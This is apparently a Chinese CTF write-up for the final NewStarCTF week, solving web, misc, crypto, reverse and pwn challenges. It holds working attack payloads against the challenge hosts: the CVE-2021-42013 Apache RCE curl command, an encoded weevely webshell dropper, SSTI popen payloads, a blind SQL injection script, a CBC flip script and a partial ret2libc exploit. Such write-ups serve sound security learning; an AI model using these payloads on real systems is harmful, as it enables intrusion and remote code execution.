前言

本周也是NewStar的最后一周了,不知不觉一个月过去了哈哈,引用web的一道彩蛋


多少还是有点感动了,我哭死(

这次NewStarCTF学到了很多东西,二进制这块有进步,巩固了杂项和web等等。感谢各位出题人🙏题目质量很OK

以下是本周解题情况:

本周难度还可以,web和misc真不难~~

Web

Web1.Give me your photo PLZ


文件上传题,上传后的图片会显示到当前页面,也就是说知道了图片url

尝试上传php

被过滤了,考虑使用服务解析漏洞

先随便访问一个url造成报错,然后发现服务是apache2.4


apache存在一个文件解析漏洞,如果apache不认识文件的扩展名就会往前找,往前找.php扩展名 发现是php文件就会交给php解析器执行,具体参考这篇文章:https://www.cnblogs.com/unknown404/p/10176272.html

那么,我们就可以构造1.php.aaa这种后缀,内容要写POST请求的马,然后去执行就可以getshell了。


访问,然后post请求执行system函数。


可以看到成功执行了,后面找flag就行了 

彩蛋:

呜呜呜,可是我不知道env怎么拿啊(bushi

Web2.Unsafe Apache


apache作为web服务的默认页面,结合题目名去找apache的漏洞

CVE-2021-42013 Apache HTTP Server 路径穿越漏洞,参考文章:https://blog.csdn.net/qq_60905276/article/details/125163219

原本是用.%2e绕过,但是被修复后就用.%%32e绕过cve-2021-41773的防御

curl --data "echo;ls" http://node4.buuoj.cn:27830/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh

把要执行的命令加到echo;后,即可RCE


flag在根目录下的ffffllll,构造cat /ffffllll* 即可

Payload:

curl --data "echo;cat /ffff*" http://node4.buuoj.cn:27830/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh

Web3.So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

上来直接就RCE了,需要注意的是shell_exec这个执行后不会有任何回显,有点像python的os.popen。大家可以去了解下这个函数的详情。

可以用

?cmd=pwd||sleep 1

这种方式判断命令是否执行,若没有执行浏览器则会sleep 1s

还有

?cmd=ls > xxx.txt; //访问/xxx.txt

这种方式来看回显

原本是想弹vps的,但死活弹不上,就传了个weevely webshell,kali连接

?cmd=echo PD9waHAKJG89J29PNGdSZ1IzdkRpVEEiO2Z1Z1JuY3Rpb2dSbiB4KCR0LCRrKXskZ1JnUmM9c3RybGVuKGdSJGdSayk7JGxnUj1zdGdScmxlbigkdCk7JGdSbz0iIjtmb3InOwokRD0nOyRyPWdSZ1JAYmFnUnNlNjRfZW5jb2dSZGdSZShAeChAZ2dSemNvbXByZ1Jlc3MoJG8pLCRrKSk7cHJnUmludCgiZ1IkcCRraCRnUnIka2YiKTt9JzsKJEc9J0BiYXNnUmU2NF9kZWNvZGUoZ1JnUmdSJG1bMV0pLCRrKSlnUik7JG89QGdSb2JfZ2V0X2dSY29udGVudHNnUigpO0BvYl9lbmdSZF9jZ1JsZWFuKCknOwokZD0nUmt7JGpnUmdSfTt9fXJlZ1J0dXJuICRvO31pZmdSIChAcHJlZ19tYXRnUmNoKGdSIi8ka2goLitnUilnUiRrZi8iLGdSQGZpbGVfZ2V0X2NvbnRnUmUnOwokZz1zdHJfcmVwbGFjZSgnSmsnLCcnLCdjSmtySmtlYXRlX0prSmtmSmtKa3VuY3Rpb24nKTsKJHQ9JyRrPSIyZ1IwMmNiOTZnUjIiO2dSJGtoPSJhYzU5Z1IwNzViZ1I5NjRiIjska2Y9ImdSZ1IwNzE1MmQyMzRiNzBnUiI7Z1IkcD0iTFdBUGdSVmI5JzsKJEk9JygkaT0wO2dSJGk8JGxnUjtnUil7Zm9yKCRnUmo9MGdSOygkajwkYyYmJGdSaTwkbCk7JGorK2dSLCRpK2dSKyl7Z1Ikby49JHR7JGdSaX1eJGcnOwokdz0nZ1JudHMoInBnUmhwZ1I6Ly9pbnB1dCJnUiksJG0pPT0xKSB7QG9nUmJfZ1JnUmdSc3RhcnQoKTtAZXZhZ1JsZ1IoQGd6dW5jb21wcmVzZ1JzKEB4KCc7CiRmPXN0cl9yZXBsYWNlKCdnUicsJycsJHQuJG8uJEkuJGQuJHcuJEcuJEQpOwokTD0kZygnJywkZik7JEwoKTsKPz4K | base64 -d > shell.php

// Password: 123
//weevely http://a18436cc-3308-4ec2-b39c-d3422086f8fa.node4.buuoj.cn:81/shell.php 123


成功上线。

flag在/ffll444aaggg,但由于我们是webshell 所以没权限读


这里要越权读文件,用的学弟的办法date -f /ffll*

这个date -f可以把里面的内容当作回显输出


其他的做法我觉得可以参考第三周misc2那题的绕过办法。

Web4.BabySSTI_Three

这题黑名单过滤的很多,各种类都被ban了

先用7*7看看能不能执行


显然OK,然后尝试构造{{''.__class__}}


发现被过滤,猜测是下划线和关键词都被过滤了。

这里就要用到编码绕过了,用\x5f\x5f这种方式可以代替 “__“

然后每个类之间应用[]拼接

写了个小脚本方便构造

a = b"__class__"
res = ""
for i in a:
    res += "\\x%s"%hex(i)[2:]
print("['%s']"%res)

把要用的关键词填到里面就可以,之后就开始绕过!

这里我就贴下之前做的时候写的payload

Payload:


?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]}}

#[]['__class__']['__base__ ']['__subclasses__'][117] //os


?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x6c\x73\x20\x2f').read()}}

#[]['__class__']['__base__ ']['__subclasses__'][117]['__init__']['__globals__']['popen']['ls /'].read() // cmd: ls /


#Welcome to NewStarCTF Again And Again, Dear app bin boot dev etc flag_in_h3r3_52daad home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var


#flag:flag_in_h3r3_52daad


?name={{[]['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[117]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x5f\x69\x6e\x5f\x68\x33\x72\x33\x5f\x35\x32\x64\x61\x61\x64').read()}}


#[]['__class__']['__base__ ']['__subclasses__'][117]['__init__']['__globals__']['popen']['cat /flag_in_h3r3_52daad'].read()

Web5.Final round


又是之前的SQL注入类型的模板,尝试随便输一个数字


发现没有回显,再结合题目简介提示,想到sleep延时注入

构造payload测试下:1 and sleep(3)


发现被过滤,一番尝试后发现是空格被过滤,字符间不能有空格,用编码%0b或者%0c绕过

发送后发现浏览器在转圈圈,说明存在延时注入

用concat截取字符串 再用ascii函数与某个数对比,是则sleep 否则过掉 用这种办法可以得到库 表 字段的每一个ascii 最后找到flag

类似于这样:name=1%0band%0bif((ascii(substr(database(),0,1))>117),1,sleep(3))

之后就是跑二分法脚本试出来的,脚本的payload要多改多试,flag在wfy.wfy_comments表的text字段中

(忘记贴脚本了,来补一下)

import requests
import time

s = requests.session()
url = 'http://59d2a20f-566b-4efb-8d45-e391a9672c6d.node4.buuoj.cn:81/comments.php?name='
flag = ''
i = 0
d = 0
while d == 0:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1%0band%0bif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
# payload = f'1%0band%0bif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3))'
# payload = f'1%0band%0bif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3))'
payload = f'1%0band%0bif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3))'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)

Misc

Misc1.最后的流量分析

sql注入流量分析,wireshark分析

筛选条件http


可以看到一堆字段尝试,我的做法是筛选正确包的长度length来找flag

length咋找呢?我们已知flag前缀为flag{,所以substr为1,2,3,4,5的我们都能找到正确的length

追踪tcp流,然后找下面的get包 查看其length


length为768,用wireshark筛选条件frame.len >= 768

这个数字也可以改小点,筛选后按No.升序,一个个看下来就是flag了

Flag:flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}

(又重新找了遍累死了)
这个流量分析和之前比还是比较简单的

Misc2.奇怪的PDF 2

一个pdf却是lnk后缀,但也能打开 就很奇怪

打开属性看lnk内容


本来只是看不懂去搜下百度,结果搜到原题了。。

参考:https://www.anquanke.com/post/id/267031

解题步骤:

先获取pdf额外数据findstr "TVNDRgAAAA" strange2.pdf.lnk > ans

处理数据的base64加密:

import base64


f = open("ans", "rb")
data = f.read()
p = base64.b64decode(data)
f.close()
f = open("res.cab", "wb")
f.write(p)
f.close()
print("-----------")

运行完得到了一个.cab文件,可以直接打开,发现flag.txt打开得到flag



Flag:flag{It_1s_a_fak3_but_r3al_PDF}

Misc3.Yesec no drumsticks 5

也是简单题,做的我都来劲了。。

下载文件到本地

git管理:git log(查看git记录)


没有什么东西

git stash list(查看修改列表)


有东西再看下修改列表

git stash show(查看修改列表)


看到flag了,最后提取即可

git stash apply(把上面的文件复原)


得到flag.txt


Flag:flag{Yesec#1s#c@ibi}

Misc4.奇怪的文本

下载附件


得到这堆奇怪的文本,刚开始还在试是什么加密

然后放quip上跑没结果,又试了很多加密方法都不是,突然想到字频分析这个东西

分析一下得到flag,还是比较脑洞的


Flag:flag{S0B48yCA}

脑洞题就是这样,想到的人做的很快,想不到的人一周都想不明白到底是啥加密,很真实。。

Misc5.qsdz’s girlfriend 5

下载附件得到一个passwd.txt和加密压缩包。

passwd.txt


虽然给了passwd.txt但还是对压缩包尝试了伪加密 爆破密码等,无果

之后就是对passwd.txt进行分析,各种分析之后也是无果

貌似看起来无解呢。

突然想到了对题目这个压缩包进行分析,果然找到了一点线索




芜湖,得到了提示NTFS流隐写。

之后就是把压缩包所有文件解压到一个文件夹下进行分析

注意要用winrar解压,如果用bandizip解压会出现这种情况 导致分离不出passwd.txt

(可能跟算法有关系,有兴趣可以去了解下)


winrar解压后。NTFS分析得到新的passwd.txt

导出得到密码:Can_you_crack_steghide?


用密码解压压缩包得到图片second_gf.jpg

根据这个密码提示steghide,那么解压后肯定就是尝试steghide了

本来我以为只有弱密码这么简单…. 出题人太卑鄙辣

本来百度到的都是那种py脚本在那里跑,贼慢 而且字典不知道 搞了个纯数字在那里跑。。

实际上出题人是想通过搜索crack_steghide搜到工具stegseek(赛博脚本嗷),然后一把梭。。

字典是kali的rockyou.txt,然后这个工具默认字典就是这个 就可以出了。

不过不错的一点是啥捏,就是这个工具是真挺不错 rockyou.txt将近一个g的字典也只用几十秒跑完。

stegseek安装:https://github.com/RickdeJager/stegseek/releases

下载.deb文件后 sudo apt install ./stegseek_0.5-1.deb

之后就可以用了

stegseek second_gf.jpg


得到密码 iloveelaina ,并导出文件内容到.jpg.out里

最后cat得到flag

flag{W3lc0me_tO_be_NewSt@rs!}

Welcome to be Newstar! Goodbye Newstar…

Misc6.12bubu_pixel

这道题需要nc连接

连接后发现是字符画,映出了好几张图像


刚开始拿到题目 思路其实就是把这个字符串变成图像,再从图像隐写的方向去解题。

这里用socket连接,再用recv(1024)去接收字符串

先接收一部分内容 看看这个有颜色的数字是怎么实现的


这个东西是颜色代码 哈哈哈 写python脚本比较多所以比较熟悉

其实是有名字的 叫ANSI码,感兴趣可以了解下

拿到这一串字符串前面的\x1b[A作用和\r一样,对结果不影响 所以处理的时候可以直接replace了

然后看图片红框圈起来的部分 这些就是实现颜色的主要部分了

\x1b[38;2;0;0;0m9

这一部分重点是中间分号的三个数字,这三个数字就代表着R G B 所以能实现颜色

可以用

echo -e "\x1b[38;2;0;0;0m9"

看看效果

这里我用红色的RGB做例子


可以看到印证了我前面所说的,这一个特征刚好也是后面摸索出来的规律。

现在思路就很明显了,我们只需提取服务器的所有字符串,然后对字符串进行替换、正则匹配处理,取RGB值到列表中,一个元素代表着一个像素点,再创建一个图像(因为还不知道宽高,所以图像宽高可以设的高一点)x轴就取每一个像素点,然后接收的字符串还有换行字符串\n,以这个作为特征来区分y轴。最后遍历x y把rgb写进去 就可以实现字符串转换成图像。

后面测试过来得到小图大小为200*200,就顺便把每张图片做了分割。

贴下脚本

import socket
import re
from PIL import Image


s = socket.socket()


s.connect(('node4.buuoj.cn',26994))




total_data = b''


data = s.recv(2048)
while data:
    # 将收到的数据拼接起来
    total_data += data
    data = s.recv(2048)
img = Image.new('RGB',(200,6000))
print(len(total_data))
total_data = total_data.replace(b'\x1b[A',b'')
x = 0
y = 0
t = 1
for image in total_data.split(b'\n\n'):
    img = Image.new('RGBA',(200,200))
    for data in image.split(b'\n'):
        for color in re.findall(b'\x1b\[38.*?m', data):
            r,g,b =  re.findall(b'2;(.*)m',color)[0].split(b';')
            print((x,y),int(r),int(g),int(b))
            img.putpixel((x,y),(int(r),int(g),int(b)))
            x+=1
        y+=1
        x=0
    print('Image %s already'%t)
    img.save('%s.png'%t)    
    t += 1

运行完得到了一堆小图


完美还原。

之后问了出题人,出题人告诉我题目的pixel是提示

于是就找pixel cloack-pixel,steganographer等等,试了steg还是没找对

然后就找到了running_pixel,果然搜索也是一门艺术 哎


突然想到这么多图确实也是gif,没毛病

running_pixel就是将每张图片中RGB为(233,233,233)值的像素点提取出来,然后拼接到一个图像上绘制成flag。

在nc看图像的时候确实每张图片都有一点小白点,没想到这也能是隐写

from PIL import Image


flag_img = Image.new('1', (400, 400))
# mode=1 1位黑白像素,每字节存储一个像素
for name in range(1, 29):
    image = Image.open(str(name) + '.png') 
    image = image.convert("RGB")  # python PIL将RGB图像转换为纯黑白imag
    width, height = image.size
    for w in range(width):
        for h in range(height):
            if image.getpixel((w, h)) == (233, 233, 233):
                flag_img.putpixel((w,h), 1)


    flag_img.save('res.png')

运行得到图像


flag出来了!

最后完善了脚本 写了个小轮子,贴下我最后的完整脚本

from PIL import Image
import socket
import re


s = socket.socket()


s.connect(('node4.buuoj.cn',26994))


total_data = b''


data = s.recv(1024)
while data:
    # 将收到的数据拼接起来
    total_data += data
    data = s.recv(1024)
print('[*] Data is already')
flag_img = Image.new('1', (400, 400))
total_data = total_data.replace(b'\x1b[A',b'')


print('[*]Now start to extract img_pixel')
t = 0
for image in total_data.split(b'\n\n'):
    if image != "":
        t += 1
        img = Image.new('RGB',(200,200))
        x = 0
        y = 0
        for data in image.split(b'\n'):
            for color in re.findall(b'\x1b\[38.*?m', data):
                r,g,b =  re.findall(b'2;(.*)m',color)[0].split(b';')
                #print((x,y),int(r),int(g),int(b))
                img.putpixel((x,y),(int(r),int(g),int(b)))
                x+=1
            y+=1
            x=0
        print('Image %s already'%t)
        # mode=1 1位黑白像素,每字节存储一个像素
        width, height = img.size
        for w in range(width):
            for h in range(height):
                if img.getpixel((w, h)) == (233, 233, 233):
                    flag_img.putpixel((w,h), 1)
        #img.save('%s.png'%t)    


print('[+] Success!')


flag_img.show()
flag_img.save('flag.png')

Flag:flag{how_about_ansi_and_running_pixel}

Crypto

Crypto1.flip-flop

import os
from Crypto.Cipher import AES
from secret import FLAG
auth_major_key = os.urandom(16)


BANNER = """
Login as admin to get the flag !
"""


MENU = """
Enter your choice
[1] Create NewStarCTF Account
[2] Create Admin Account
[3] Login
[4] Exit
"""


print(BANNER)


while True:
    print(MENU)


    option = int(input('> '))
    if option == 1:
        auth_pt = b'NewStarCTFer____'
        user_key = os.urandom(16)
        cipher = AES.new(auth_major_key, AES.MODE_CBC, user_key)
        code = cipher.encrypt(auth_pt)
        print(f'here is your authcode: {user_key.hex() + code.hex()}')
    elif option == 2:
        print('GET OUT !!!!!!')
    elif option == 3:
        authcode = input('Enter your authcode > ')
        user_key = bytes.fromhex(authcode)[:16]
        code = bytes.fromhex(authcode)[16:]
        cipher = AES.new(auth_major_key, AES.MODE_CBC, user_key)
        auth_pt = cipher.decrypt(code)
        if auth_pt == b'AdminAdmin______':
            print(FLAG)
        elif auth_pt == b'NewStarCTFer____':
            print('Have fun!!')
        else:
            print('Who are you?')
    elif option == 4:
        print('ByeBye')
        exit(0)
    else:
        print("WTF")

题目是菜单题,第一个功能就是获取明文为 NewStarCTFer____ 的AES加密中的iv参数和加密结果code

第三个功能是要求我们输入一个authcode 会把这个authcode解析给user_key和code,然后最终解出来的结果要变成AdminAdmin______

其它两个功能没啥用,这两个比较重要。

这题考察的是AES的CBC字节翻转攻击,学习可以参考这篇文章https://www.likecs.com/show-205079481.html 我就是看这篇文章做出来的。
( 本来我是拒绝的,但是我看了下题还挺感兴趣的,就试着做 没想到就做出来了)

因为key(auth_major_key)和iv(user_key)是随机分配的,我们不能得知 ,但是user_key是可控的,可以通过user_key去修改解密的结果

篡改是通过A ^ B ^ C 将A修改为C,原理参考上面的文章

比如我想把解密结果的N改成A,那么就是

user_key[0] ^ ord('N') ^ ord('A') #把user_key的第一个字节改成A

可以把题目的那个py文件拿来调试,把各个值都打印出来看看实际结果怎么样,建议是先调试弄明白了然后再搞服务端那边。

就此写脚本 推出修改后的密文,再发送给服务端 就可以得到flag。

import binascii


def flip():
    res = "a25e151f887fbede44d418631fba063eb11806e1b8a242ad46a383aad1dbe1b0" #这里填写服务端分配给你的key
    user_key,code = bytes.fromhex(res)[:16],bytes.fromhex(res)[16:]


    newcipher = list(user_key)
    print(user_key.hex(),code.hex())
    print(newcipher)


    newcipher[0] = newcipher[0] ^ ord('N') ^ ord('A')
    newcipher[1] = newcipher[1] ^ ord('e') ^ ord('d')
    newcipher[2] = newcipher[2] ^ ord('w') ^ ord('m')
    newcipher[3] = newcipher[3] ^ ord('S') ^ ord('i')
    newcipher[4] = newcipher[4] ^ ord('t') ^ ord('n')
    newcipher[5] = newcipher[5] ^ ord('a') ^ ord('A')
    newcipher[6] = newcipher[6] ^ ord('r') ^ ord('d')
    newcipher[7] = newcipher[7] ^ ord('C') ^ ord('m')
    newcipher[8] = newcipher[8] ^ ord('T') ^ ord('i')
    newcipher[9] = newcipher[9] ^ ord('F') ^ ord('n')
    newcipher[10] = newcipher[10] ^ ord('e') ^ ord('_')
    newcipher[11] = newcipher[11] ^ ord('r') ^ ord('_')
    print(newcipher)
    rescipher = b""
    for i in newcipher:
        rescipher += binascii.unhexlify(hex(i)[2:].zfill(2))
    print(rescipher.hex())


    print('\nresult:%s%s'%(rescipher.hex(),code.hex()))


flip()

把res改成服务端给的key,然后运行得到新的key再发送给服务端即可。


Flag:flag{filp_the_word!!!!!!!!}

Reverse

Reverse1.拔丝溜肆 (easy)

64位程序,无壳。IDA分析

main函数就是把输入的东西经过加密后要等于Str那个密文。

跟进sub_140011069看加密程序

这个函数一看就是base64加密的特征 很眼熟。

本来我以为这是个很简单的题目,但base64的表呢?
跟进sub_14001127B函数 看看干了啥
这里是做了随机,因为base64表有64位,所以对表进行了一个随机遍历

Str表:


随机的就比较烦了,需要爆破


我们输入的字符串被要求42位长,v6每次加3,那么就要遍历42 /3 = 14次,也就是说有14个不同表,然后每次选用一个表时会赋值给byte_14001E1C0 4个字符串

加密之后要和str2判断。

爆破就完了,把64种可能的表都写下来,然后再遍历ascii表 符合条件就筛出 最后得到结果


当时结果写完有很多种可能,还想遍历每个列表的字符串来写,但是发现不会。。好在观察特征发现 每隔几组就带有一个-,而且基本是数字 a-f这些,后面才发现是16进制的字符串,然后拼接得到flag。
(不得不说我要是没注意到这个特征我现在可能还卡在循环)

贴下最终脚本:

import random
import string


cipher = "CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V"


str1 = [0]*56
str = ""




def gettable():
    Str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    table = ['']*99
    v1 = random.randint(0,64)
    for i in range(len(Str)):
        table[i] = Str[(v1+i)%64]
    return (''.join(table))


def encode(a1,a2): #a1=str(input) a2=str1
    v5 = len(a1)
    v3 = v5 >> 31
    v3 = v5 %3
    v2 = 3
    v6 =0
    v7 = 0
    while v6<v5:
        table = gettable()
        print(table)
        a2[v7] = table[a1[v6]>>2]
        a2[v7+1] = table[((a1[v6 + 1] & 0xF0) >> 4) | (16 * (a1[v6] & 3))]
        a2[v7+2] = table[((a1[v6 + 2] & 0xC0) >> 6) | (4 * (a1[v6 + 1] & 0xF))]
        v3 = v7+3
        a2[v3] = table[a1[v6 + 2] & 0x3F]
        v6 += 3
        v7 += 4
    print(''.join(a2))
    #mz+u3VL/WUDfNL6WJH2SDBwMtra2YWFhusb3CAvL64nDB/uKfdMovtcU


def decode():
    table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    table_list = []
    for i in range(len(table)):
        temp = ""
        for k in range(len(table)):
            temp += table[(i+k)%64]
        table_list.append(temp)
    cipher = "CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V"
    cipher_list = []
    for i in range(0,len(cipher),4):
        cipher_list.append(cipher[i:i+4])
    #ascii_table = (string.ascii_letters + string.digits + '!-?@_{}~').encode() #后面发现flag只有16进制,这个出题人真的是我醉了,改table
    ascii_table = (string.hexdigits + "lg{}-").encode()
    temp_list = ['0','0','0','0']
    res = []
    times = 0
    for r in cipher_list:
        #part = []
        times+=1
        print('[*] now times is :%s'%times)
        print('-'*50)
        for a in ascii_table:
            for b in ascii_table:
                for c in ascii_table:
                    n = '%s%s%s'%(chr(a),chr(b),chr(c))
                    for t in table_list:
                        temp_list[0] = t[a>>2]
                        temp_list[1] = t[((b & 0xF0) >> 4) | (16 * (a & 3))]
                        temp_list[2] = t[((c & 0xC0) >> 6) | (4 * (b & 0xF))]
                        temp_list[3] = t[c & 0x3F]
                        if r == ''.join(temp_list):
                            print(n,t)
                            #part.append(n)
                            res.append(n)
        #res.append(part)
    print(''.join(res))
    #[['b\\ ', 'fla', 'V+]', '%hQ'], ['g{1', 'K\tj', 'W:-', '&w!', '[Jn'], ['257', '6Ex', 'wIH', 'Bv;'], ['388', '7Hy', 'd\x0bE', 'tLI', 'Cy<'], ['2-1', '6=r', 'w1B', 'Bn5', 'F~v'], ['p\t=', 'CF1', 'GVr'], ['nIR', '-EB'], ['5E-', '9Un', 'vI=', 'zY~'], ['t\x0cC', 'C96', 'GIw', 'Sz:'], ['5-0', '9=q', 'z1A', 'En4', 'I~u'], ['35B', 'p9R', 'CvF'], ['1F2', '5Vs', 'b\t>', 'vZC'], ['63C', 'w7S', 'FtG'], ['38}', 'l,\x0c', 'p<M', 'CyA', '/(<']][['b\\ ', 'fla', 'V+]', '%hQ'], ['g{1', 'K\tj', 'W:-', '&w!', '[Jn'], ['257', '6Ex', 'wIH', 'Bv;'], ['388', '7Hy', 'd\x0bE', 'tLI', 'Cy<'], ['2-1', '6=r', 'w1B', 'Bn5', 'F~v'], ['p\t=', 'CF1', 'GVr'], ['nIR', '-EB'], ['5E-', '9Un', 'vI=', 'zY~'], ['t\x0cC', 'C96', 'GIw', 'Sz:'], ['5-0', '9=q', 'z1A', 'En4', 'I~u'], ['35B', 'p9R', 'CvF'], ['1F2', '5Vs', 'b\t>', 'vZC'], ['63C', 'w7S', 'FtG'], ['38}', 'l,\x0c', 'p<M', 'CyA', '/(<']]
#encode(b'flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}',str1)
decode()


Flag:flag{12573882-1CF1-EB5E-C965-035B1F263C38}

Reverse2.E4sy_Mix (hard)

32位程序。IDA分析


上来进行了一个异或,然后进函数加密loc_402000。

这个函数有点问题要选中红色的部分按P修复


一堆汇编语言,看不懂。

后面尝试着修复这个程序,但是不是修不修的问题 咋修都这个样 害!

卡了一段时间,直到我看到了这个:


算是出题人的hint吗hh,写了个SMC,就好奇搜了下 结果就有了解题思路

SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。
而计算机病毒通常也会采用SMC技术动态修改内存中的可执行代码来达到变形或对代码加密的目的,从而躲过杀毒软件的查杀或者迷惑反病毒工作者对代码进行分析。
通常来说,SMC使用汇编去写会比较好,因为它涉及更改机器码,但SMC也可以直接通过C、C++来实现。

贴下一下让我有思路的文章:https://blog.csdn.net/weixin_40729735/article/details/121595169

这个SMC需要写.idc脚本,这个idc要根据实际情况修改,不能照抄。把IDA中需要解密的部分按U undefined掉,然后导入脚本 再次编译就得到了源码

#include <idc.idc>
static main()
{
    auto addr = 0x402000; //起始地址
    auto i = 0;
    for(i=0;addr+i<0x402039;i++) //结束地址
    {
        PatchByte(addr+i,Byte(addr+i)^0x54); //加密写的异或0x54
    }
}


选中这一块按U


有黄色的部分就可以了,然后IDA选择File - Script file - xxx.idc 选刚刚写好的idc

导入后会发现字节发生了变化


这时候再选中0x402000 - 0x402039的部分 按C强制转换函数


再选中按P添加函数,此时就修复好了


第一个函数:


第二个函数:

实际上是一个RC4加密,对着解密即可。

写python解密的过程不得不感叹下C和python的差别真的很大,因为各种类型在python都是正常的 到了C就变成各种负数,脚本有一部分^-256是因为根据C的整型类型在python进行一个转换

脚本写的比较烂:

byte_404490 = [0]*256
byte_404390 = [0]*256
byte_404018 = b"flag{This_a_fake_flag}"
a2 = len(byte_404018) #22


for i in range(0,256):
    byte_404490[i] = i
    byte_404390[i] = byte_404018[i % a2]
#print(byte_404390)
#print(byte_404490,byte_404390)
v3 = 0
#print(byte_404490)
for j in range(0,256):
    v5 = byte_404490[j]
    v3 = (v5 + byte_404390[j] + v3) % 256
    result = byte_404490[v3]
    if result > 127:
        byte_404490[j] = result^-256
    else:
        byte_404490[j] = result
    if v5 > 127:
        byte_404490[v3] = v5^-256
    else:
        byte_404490[v3] = v5


result = 32 #32
v3 = 0
v4 = 0
#a1 = [0]*len(byte_404490)
a1 = [161, 191, 182, 112, 99, 91, 59, 237, 244, 145, 129, 164, 189, 58, 83, 134, 91, 140, 219, 65, 27, 115, 225, 209, 242, 178, 223, 110, 22, 86, 34, 66, 252]
for i in range(0,result):
    v3 = (v3 + 1) % 256
    v5 = byte_404490[v3]
    v4 = (v5 + v4) % 256
    byte_404490[v3] = byte_404490[v4]
    byte_404490[v4] = v5
    #3print(v5,byte_404490[v3],v3)
    a1[i] ^= byte_404490[v5 + byte_404490[v3]]
flag = ""
print(a1)
for i in a1:
    if i <0:
        flag += chr(i^-256)
    else:
        flag += chr(i)
print(flag)

运行得到flag

Flag:flag{RC4_and_SMC_is_interesting!}

Pwn

Pwn1.overflow me plz

呜呜呜自己通过调试做出来的一道题,感觉调试进步了!不容易!!

题目给了libc

检查:


主函数:


主函数很简单,一个溢出


溢出量很小,仅能溢出0xd0 - 0xc0 = 16 两个地址的大小 不过可以实现跳转和迁移。

所以这里思路就是栈迁移,这里打算泄露write的地址,第一次迁移要把write的地址泄露出来,然后重新跳转到输入点,之后构造libcbase 搞出system和binsh 最后第二次输入点再搞一次栈迁移,迁到system(‘/bin/sh’)的地方。

迁移的地方选用bss段+0x500的地方,这个地方申请大点以免影响到其他段的内容

到了这个地址后把我们要写的payload写到bss+0x500的地方,payload就是ret2libc泄露write地址那样写(注意payload还写了返回地址为main_addr,是为了二次构造再发送),然后最后要填充0xc0的字符,最后16个字节就写p64(bss-8) + p64(leave_ret)

劫持rbp到bss段,让程序执行我们布置好的payload。

from pwn import *

context.log_level = 'debug'

p = remote('node4.buuoj.cn',25018)

leave_ret = 0x4006f7


main_addr = 0x400698
read_addr = 0x4006d9
rdi = 0x0000000000400763
rsi_r15 = 0x0000000000400761
write_got = elf.got['write']
write_plt = elf.plt['write']
csu_end = 0x40075a
csu_front = 0x400740


bss = elf.bss() + 0x500


log.info('bss:%s'%hex(bss))


### First Overflow: rbp => bss , return read_addr to leak write_addr
###


payload = b'd'*0xc0 + p64(bss+0xc0) +p64(read_addr)


p.sendafter('it!\n',payload)


sleep(1)


### Leak [write_addr] & return [main_addr]


payload = p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) #


payload = payload.ljust(0xc0,b'b')


payload += p64(bss-8) + p64(leave_ret)


p.send(payload)

发送后如果没错就会把write_addr给打印出来,接收并构造libcbase即可

### ret2libc: leak system_addr & binsh_addr


write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))


log.info("write_addr:%s"%hex(write_addr))


libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


log.info("system_addr:%s,binsh:%s"%(hex(system),hex(binsh)))


当时调试的时候做到这步就很开心了,因为能弹回main_addr就说明栈迁移的没错,payload写对了!

之后就是再发送system(‘/bin/sh’)给bss段,进行一个二次栈迁移。

需要注意第二次bss段的地址跟第一次的地址不要离得太近,不然可能会冲突

log.info('Double Overvlow!try to getshell\n===================')


### Double Overflow: rdi+binsh+system = getshell


bss = elf.bss() + 0x800 #new bss


payload = b'a'*0xc0 + p64(bss+0xc0) +p64(read_addr)


p.sendafter('it!\n',payload)


